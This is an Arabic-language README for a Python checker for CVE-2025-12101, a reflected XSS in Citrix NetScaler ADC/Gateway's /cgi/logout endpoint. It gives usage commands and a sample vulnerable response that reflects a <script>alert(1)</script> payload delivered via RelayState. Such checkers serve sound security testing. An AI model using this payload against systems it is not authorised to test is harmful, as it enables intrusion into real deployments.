
إثبات مفهوم بسيط بلغة بايثون للتحقق من وجود ثغرة XSS منعكسة (CVE-2025-12101) في Citrix NetScaler ADC/Gateway على المسار /cgi/logout باستخدام حمولة SAMLResponse + RelayState مصممة.
PoC بسيط بلغة Python للتحقق من مثيلات Citrix NetScaler ADC / Gateway لثغرة CVE-2025-12101 (XSS منعكسة على /cgi/logout) باستخدام حمولة محضرة من SAMLResponse + RelayState.
⚠️ استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
CVE-2025-12101 هي ثغرة XSS منعكسة تؤثر على NetScaler ADC و NetScaler Gateway عند تكوينها كخادم افتراضي Gateway أو AAA.
تحت التكوينات المعرضة، يعالج نقطة النهاية /cgi/logout استجابات تسجيل الخروج SAML وقد تعكس بيانات يتحكم بها المهاجم من معامل RelayState بدون تشفير مناسب، مما يؤدي إلى XSS.
تأتي التفاصيل البحثية والفنية من watchTowr Labs:
يوفر هذا المستودع أداة فحص بلغة Python خام عبر TLS ترسل نفس نمط الحمولة وتفحص استجابة HTTP.
استنساخ المستودع:
git clone https://github.com/6h4ack/CVE-2025-12101-checker.git
cd CVE-2025-12101-checker
تأكد من تثبيت Python 3.
يقبل السكربت الرئيسي معاملاً واحدًا مطلوبًا: -u / --url.
python3 cve-2025-12101.py -u https://www.example.com
صالح أيضًا:
python3 cve-2025-12101.py -u www.example.com
python3 cve-2025-12101.py -u http://www.example.com
يتم تسوية الرابط URL داخليًا؛ يستخرج السكربت اسم المضيف والمنفذ (الافتراضي 443 لـ HTTPS و 80 لـ HTTP).
مثال (لهدف معرض):
[*] Testing target: www.example.com:443
===== RAW HTTP RESPONSE BEGIN =====
HTTP/1.1 302 Object Moved
Content-Type: text/html
...
<script>alert(1)</script>
...
===== RAW HTTP RESPONSE END =====
[+] HTTP status code: 302
[+] Payload '<script>alert(1)</script>' reflected: True
[VULNERABLE] XSS confirmed on www.example.com with payload '<script>alert(1)</script)'
بالنسبة لهدف غير معرض، سترى شيئًا مثل:
[INFO] No XSS behaviour detected on www.example.com with this payload.
تُستخدم ألوان ANSI لتسهيل رؤية النتيجة في الطرفية (أخضر للمعرض، أحمر لغير المعرض أو حالات الخطأ).